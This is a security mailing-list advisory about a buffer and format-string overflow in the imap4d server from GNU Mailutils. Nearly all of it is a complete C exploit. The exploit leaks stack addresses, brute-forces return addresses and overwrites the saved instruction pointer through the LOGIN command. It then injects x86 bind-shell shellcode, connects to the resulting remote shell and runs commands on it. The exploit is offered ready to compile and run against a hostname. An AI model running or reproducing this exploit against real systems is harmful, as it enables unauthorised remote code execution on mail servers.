[EXPL] imap4d Buffer Overflow (LOGIN, Exploit)



The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



imap4d Buffer Overflow (LOGIN, Exploit)
------------------------------------------------------------------------


SUMMARY

"GNU Mailutils is a collection of mail-related utilities. At the core of
Mailutils is libmailbox, a library which provides access to various forms
of mailbox files (including remote mailboxes via popular protocols). It
also provides support for parsing of RFC-822 style messages and MIME
support."

A buffer overflow in GNU Mailutils imap4d allow attackers to execute
arbitrary code by overflowing the product's LOGIN directive.

DETAILS

Exploit:
/*
* Copyright (c) 2005 Rosiello Security
* http://www.rosiello.org
*
* Permission is granted for the redistribution of this software
* electronically. It may not be edited in any way without the express
* written consent of Rosiello Security.
*
* Disclaimer: The author published the information under the condition
* that is not in the intention of the reader to use them in order to bring
* to himself or others a profit or to bring to others damage.
*
*
--------------------------------------------------------------------------
*
* Author: Johnny Mast
* e-mails: rave at rosiello.org
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>

//#define DEBUG

#define RETADDR (0x805d922)

#define SHELL_PORT "34563"
#define SHELL_COMMAND "uname -a; id;"
#define PORT_OFFSET 20
#define ARG_1_LENGH 180
#define ARG_3_LENGH 315


char shellcode[] =
"\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd"
"\x80\x31\xd2\x52\x66\x68\x13\xd2\x43\x66\x53\x89\xe1\x6a"
"\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89\x44\x24\x04"
"\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43\xb0\x66"
"\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75"
"\xf6\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
"\x52\x53\x89\xe1\xb0\x0b\xcd\x80";



void prepare(char *arg){
int port=htons(atoi(arg)), p1, p2;
p2 = (port & 0xff00) >> 8;
p1 = (port & 0x00ff);
shellcode[PORT_OFFSET] = p1;
shellcode[PORT_OFFSET+1] = p2;
printf("Shellcode lenght=%d; port=%d\n", strlen(shellcode),
atoi(arg));
}

struct framep {
int addr;
unsigned short dpa_offset;
};

struct targ{
unsigned int retloc; /* the eip */
/*
* possible retaddrs, we have to bruteforce a
* little bit to find the username field on heap
*/
int pretaddr[10];
int ret_count;
struct framep ebps[8];
int ebp_count;
int use_ebp1;
int use_ebp2;
unsigned short ebp1_offset; /* DPA offset of the first ebp */
unsigned short ebp2_offset;
unsigned short retl_high_offset; /* DPA offset of high part of the
retloc */
unsigned short retl_low_offset;
} target;


void usage(char *a){
int i;

printf("[-] Usage: %s -h <host> [options]\n", a);
printf("[!] Options:\n");
printf("\t\t-h\tHostname which you want attack (required)\n");
printf("\t\t-p\tPort of the imapd (default: 143)\n");
printf("\t\t-s\tHow long to sleep before try connect to shell
(default: 1)\n");
exit(1);
}

int sockprintf(int sock, const char *s, ...){
char *ptr;
int bytes;
va_list arg;
va_start(arg, s);
if(vasprintf(&ptr, s, arg) == -1){
free(ptr);
return -1;
}
va_end(arg);
if((bytes = send(sock, ptr, strlen(ptr), 0)) == -1){
free(ptr);
return -1;
}
free(ptr);
return bytes;
}


int statusf(const char *s, ...){
va_list arg;
va_start(arg, s);
vprintf(s, arg);
fflush(stdout);
}


int resolv(struct sockaddr_in *addr, char *hostn){
struct hostent *host;

if (!inet_aton(hostn, &addr->sin_addr)){
host = gethostbyname(hostn);
if (host == NULL){
printf("[-] Wasnt able to resolve %s!\n", hostn);
return -1;
}
addr->sin_addr = *(struct in_addr*)host->h_addr;
}
}


int conn(struct sockaddr_in addr, int port){
int sock;

if((sock = socket(PF_INET, SOCK_STREAM, 0)) == -1){
return -1;
}

addr.sin_port = htons(port);
addr.sin_family = AF_INET;

if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == -1){
return -1;
}
return sock;
}


int get_shell(struct sockaddr_in addr, int port, int sleeps){
int sock;
char buffer[1024];
fd_set fds;

sleep(sleeps);

if((sock = conn(addr, port)) == -1)
return (-1);
printf("[+]\n[+] Wooohooo we got a shell!\n");
sockprintf(sock, SHELL_COMMAND"\r\n");
while(1){
FD_ZERO(&fds);
FD_SET(0, &fds);
FD_SET(sock, &fds);

if (select(255, &fds, NULL, NULL, NULL) == -1){
fprintf(stderr,"[-] sending failed\n");
close(sock);
exit(1);
}

memset(buffer, 0x0, sizeof(buffer));
if (FD_ISSET(sock, &fds)){
if (recv(sock, buffer, sizeof(buffer), 0) == -1){
fprintf(stderr, "[-] Connection closed by remote
host!\n");
close(sock);
exit(1);
}
fprintf(stderr, "%s", buffer);
}

if (FD_ISSET(0, &fds)){
read(0, buffer, sizeof(buffer));
write(sock, buffer, strlen(buffer));
}
}
return 0;
}


void status(int retloc, int retloc2, int retaddr){
static int i=1;

switch(i){
case 1:
printf("[|] ");
break;
case 2:
printf("[/] ");
break;
case 3:
printf("[-] ");
break;
case 4:
printf("[\\] ");
i = 0;
break;
}
printf("Trying retlocs [0x%x - 0x%x] retaddr [0x%x]\r", retloc,
retloc2, retaddr);
fflush(stdout);
i++;
}


void gen_req2(char *buffer, unsigned int size, unsigned short count){
unsigned short high, low;

high = (target.pretaddr[count] & 0xffff0000) >> 16;
low = (target.pretaddr[count] & 0x0000ffff);

memset(buffer, 0x0, size);
snprintf(buffer, size, "%%.%uu%%%d$hn%%.%uu%%%d$hn",
high, target.retl_high_offset, (low-high),
target.retl_low_offset, shellcode);
buffer[size-1] = 0x0;
if(strlen(buffer) > 135){
printf("[-] get_info failed, this really shouldnt happen...\n");
exit(-1);
}
memset(buffer + strlen(buffer), 0x41, 135 - strlen(buffer));
strncat(buffer, " LOGIN ", size - strlen(buffer) - 1);
memset(buffer + strlen(buffer), 0x90, 353);
if(strlen(shellcode) > 350){
printf("[-] The shellcode (%d bytes) is too big, maximal size is
350\n", strlen(shellcode));
exit(-1);
}
memcpy(buffer + strlen(buffer) - strlen(shellcode) - 2, shellcode,
strlen(shellcode));
buffer[strlen(buffer)] = ' ';
strncat(buffer, "BBBB", size - strlen(buffer) - 1);
}


void gen_req1(char *buffer, unsigned int size){
unsigned short retl;
retl = (target.retloc & 0x0000ffff);

memset(buffer, 0x0, size);
snprintf(buffer, size, "%%.%uu%%%d$hn__%%%d$hn",
retl, target.ebps[target.ebp_count - 2].dpa_offset,
target.ebps[target.ebp_count - 1].dpa_offset);
buffer[size-1] = 0x0;
if(strlen(buffer) > 135){
printf("[-] get_info failed, this really shouldnt happen, wtf did
you do?\n");
exit(-1);
}
memset(buffer + strlen(buffer), 0x41, ARG_1_LENGH - strlen(buffer));
strncat(buffer, " LOGIN ", size - strlen(buffer) - 1);
memset(buffer + strlen(buffer), 0x41, ARG_3_LENGH);
strncat(buffer, " BBBB", size - strlen(buffer) - 1);
}

void gen_info_req(char *buffer, unsigned int size, int offset){
int i;

memset(buffer, 0x0, size);
if(offset == 0)
for(i = 0; i < 60; i++)
strncat(buffer, "_%p", size - strlen(buffer) - 1);
else
for(i = 0; i < 30; i++)
snprintf(buffer + strlen(buffer), size - strlen(buffer),
"_%%%d$p", offset+i);
strncat(buffer, " LOGIN ", size - strlen(buffer) - 1);
memset(buffer + strlen(buffer), 0x41, ARG_3_LENGH);
strncat(buffer, " BBBB", size - strlen(buffer) - 1);
}


void get_infos(int sock){
char buffer[1024], ibuffer[1024], *ptr, *ptr2;
int i, j, bytes, ebp_count, ebps[10], ebp_tmp, offset, ret_tmp;

gen_info_req(ibuffer, sizeof(ibuffer), 0);

#ifdef DEBUG
printf("[D] Sending: %s\n", ibuffer);
#endif
if(sockprintf(sock, "%s\r\n", ibuffer) == -1){
printf("[-] Wasnt able to determine infos\n");
exit(-1);
}
if((bytes = recv(sock, buffer, sizeof(buffer) - 1, 0)) == -1){
printf("[-] Wasnt able to determine infos\n");
exit(-1);
}
buffer[bytes] = 0x0;

#ifdef DEBUG
printf("[D] Recived: %s\n", buffer);
#endif

memset(&target, 0x0, sizeof(target));

ptr = buffer;
for(i = 1; (ptr = strchr(ptr, '_')); i++){
ptr++;
if(!strncmp(ptr, "0xbfff", 6) && target.ebp_count < 8){
ebp_tmp = strtoul(ptr,NULL,0);
if(!(ptr = strchr(ptr, '_'))){
i++;
continue;
}
ptr++;
i++;

if(strncmp(ptr, "0x80", 4) && strncmp(ptr, "0x080", 5)
&& strncmp(ptr, "0x40", 4) && strncmp(ptr, "0x040", 5))
continue;

for(j = 0; j < target.ebp_count; j++)
if(target.ebps[j].addr == ebp_tmp)
ebp_tmp = 0x0;
if(ebp_tmp == 0x0)
continue;
target.ebps[target.ebp_count].addr = ebp_tmp;
target.ebps[target.ebp_count].dpa_offset = i - 1;
#ifdef DEBUG
printf("[D] Found possible ebp: %p offset: %d\n",
target.ebps[target.ebp_count].addr,
target.ebps[target.ebp_count].dpa_offset);
#endif
target.ebp_count++;
continue;
}
/*
* In the function util_do_command a pointer to the username is
stored. username
* points to the second "word" of the string which we send. if we
send always a
* string and with 4 "words", which have in each request the same
lengh,
* (word 1: 135bytes, string " LOGIN ", word 3: 353 bytes and word
4: 4 bytes,
* we will get always the same chunk of memory from malloc. So the
address where
* username points to will always point to our 3. word, which will
be in the last
* request our shellcode.
* The problem is, we know only that our string is on the heap,
but there are a lot
* of pointers to addresses that could be the heap. so we just
copy the first 10 pointers
* to 0x80* and try later each of them. bruteforcing 10 addresses
wont take too long,
* But it will flood the logs :/
*/
if(target.ret_count < 10 && !strncmp(ptr, "0x80", 4) ||
!strncmp(ptr, "0x080", 5)){
ret_tmp = strtoul(ptr,NULL,0);
for(j = 0; j < target.ret_count; j++)
if(target.pretaddr[j] == ret_tmp)
ebp_tmp = 0x0;
if(ebp_tmp == 0x0)
continue;
target.pretaddr[target.ret_count] = ret_tmp;
#ifdef DEBUG
printf("[D] Added %p to the possible retaddr table\n",
target.pretaddr[target.ret_count]);
#endif
target.ret_count++;
}
}

target.retloc = target.ebps[0].addr + 4;
target.use_ebp1 = target.ebp_count - 2;
target.use_ebp2 = target.ebp_count - 1;
#ifdef DEBUG
printf("[D] retloc: %p\n", target.retloc);
#endif

/*
* when we send this, the first two bytes of where target.ebp1 und
target.ebp2 point to
* will be overwritten with the first to bytes of target.retloc and
target.retloc+2.
* These can later be used to overwrite the saved eip of
util_do_commands.
*/
gen_req1(buffer, sizeof(buffer));
#ifdef DEBUG
printf("[D] Press enter to continue\n");
getchar();
#endif
sockprintf(sock, "%s\r\n", buffer);
#ifdef DEBUG
printf("[D] Sent: %s\n", buffer);
#endif
memset(buffer, 0x0, sizeof(buffer));
while((bytes = recv(sock, buffer, sizeof(buffer) - 1, 0))){
buffer[bytes] = 0x0;
if(strstr(buffer, "\r\n"))
break;
}
for(i = 0, offset = target.ebps[target.ebp_count - 2].dpa_offset; i <
4; i++){
gen_info_req(ibuffer, sizeof(ibuffer), offset);
sockprintf(sock, "%s\r\n", ibuffer);
#ifdef DEBUG
printf("[D] Sent ibuf: %s\n", ibuffer);
#endif
if((bytes = recv(sock, buffer, sizeof(buffer) - 1, 0)) == -1){
printf("[-] Wasnt able to determine infos\n");
exit(-1);
}
buffer[bytes] = 0x0;
#ifdef DEBUG
printf("[D] Recived ibuf: %s\n", buffer);
#endif
ptr = buffer;
for(j = 1; (ptr = strchr(ptr, '_')); j++){
ptr++;
if(target.retl_low_offset == 0 && strtoul(ptr, NULL, 0) ==
target.retloc)
target.retl_low_offset = j + offset - 1;
else if(target.retl_high_offset == 0&& strtoul(ptr, NULL, 0)
== target.retloc + 2 )
target.retl_high_offset = j + offset - 1;
}

#ifdef DEBUG
printf("rl low: %d rl high %d\n", target.retl_low_offset,
target.retl_high_offset);
#endif
if(target.retl_low_offset != 0 && target.retl_high_offset != 0)
break;
offset += 30;
}
if(target.retl_low_offset == 0 || target.retl_high_offset == 0){
printf("[-] Wasnt able to find retloc on stack\n");
exit(-1);
}
#ifdef DEBUG
printf("[D] Retloc low offset: %d Retloc high offset: %d\n",
target.retl_low_offset, target.retl_high_offset);
#endif
}


int main(int argc, char **argv){
char *payload = NULL, *hostn = NULL, buffer[1024], *ptr;
int i, first, sock, opt, port = 143,
shell_port = atoi(SHELL_PORT), sleeps = 1,
p_size=10000, vulncheck = 1, bytes;
fd_set fds;
struct sockaddr_in addr;

int p1, p2, ip1, ip2, ip3, ip4, sport;
char *back = "192.168.1.2";
sport = atoi(SHELL_PORT);


printf("[!] mailutils imapd4d universal(?) exploit 0.5 by rave\n");

if (argc < 2)
usage(argv[0]);

while ((opt = getopt (argc, argv, "h:p:t:s:P:S:c:vV")) != -1){
switch (opt){
case 'h':
hostn = optarg;
break;
case 'p':
port = atoi(optarg);
if(port > 65535 || port < 1){
printf("[-] Port %d is invalid\n",port);
return 1;
}
break;
case 's':
sleeps = atoi(optarg);
break;
case 'P':
prepare(optarg);
break;
case 'c':
back = optarg;
break;
case 'V':
vulncheck = 0;
break;
default:
usage(argv[0]);
}
}

if(hostn == NULL)
usage(argv[0]);


resolv(&addr, hostn);

printf("[!] Connecting to %s\n", hostn);

if((sock = conn(addr, port)) == -1){
printf("[-] Connecting failed!\n");
return -1;
}
printf("[+] Connected!\n");

recv(sock, buffer, sizeof(buffer), 0);
get_infos(sock);
printf("[+] We got all infos, which we need, lets start!\n");

close(sock);

for(i = 0; i < target.ret_count; i++) {
statusf("[%d] Trying retaddr %p\r", i+1, target.pretaddr[i]);
if((sock = conn(addr, port)) == -1){
printf("[-] Connecting failed!\n");
return -1;
}
if(!(bytes = recv(sock, buffer, sizeof(buffer), 0))){
printf("[-] Wasnt able to recive data from server\n");
exit(-1);
}
gen_req1(buffer, sizeof(buffer));
sockprintf(sock, "%s\r\n", buffer);
while((bytes = recv(sock, buffer, sizeof(buffer) - 1, 0)) > 0){
buffer[bytes] = 0x0;
if(strstr(buffer, "\r\n"))
break;
}
gen_req2(buffer, sizeof(buffer), i);
#ifdef DEBUG
printf("[D] Press enter to continue\n");
getchar();
#endif
sockprintf(sock, "%s\r\n", buffer);
while((bytes = recv(sock, buffer, sizeof(buffer) - 1, 0)) > 0){
buffer[bytes] = 0x0;
if(strstr(buffer, "\r\n"))
break;
}
#ifdef DEBUG
printf("[D] Press enter to continue\n");
getchar();
#endif
close(sock);
get_shell(addr, 5074, 1);
}
printf("[-] Exploit failed\n");
return 0;
}

/* EoF */


ADDITIONAL INFORMATION

The information has been provided by <mailto:rave at rosiello.org> Johnny
Mast.



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages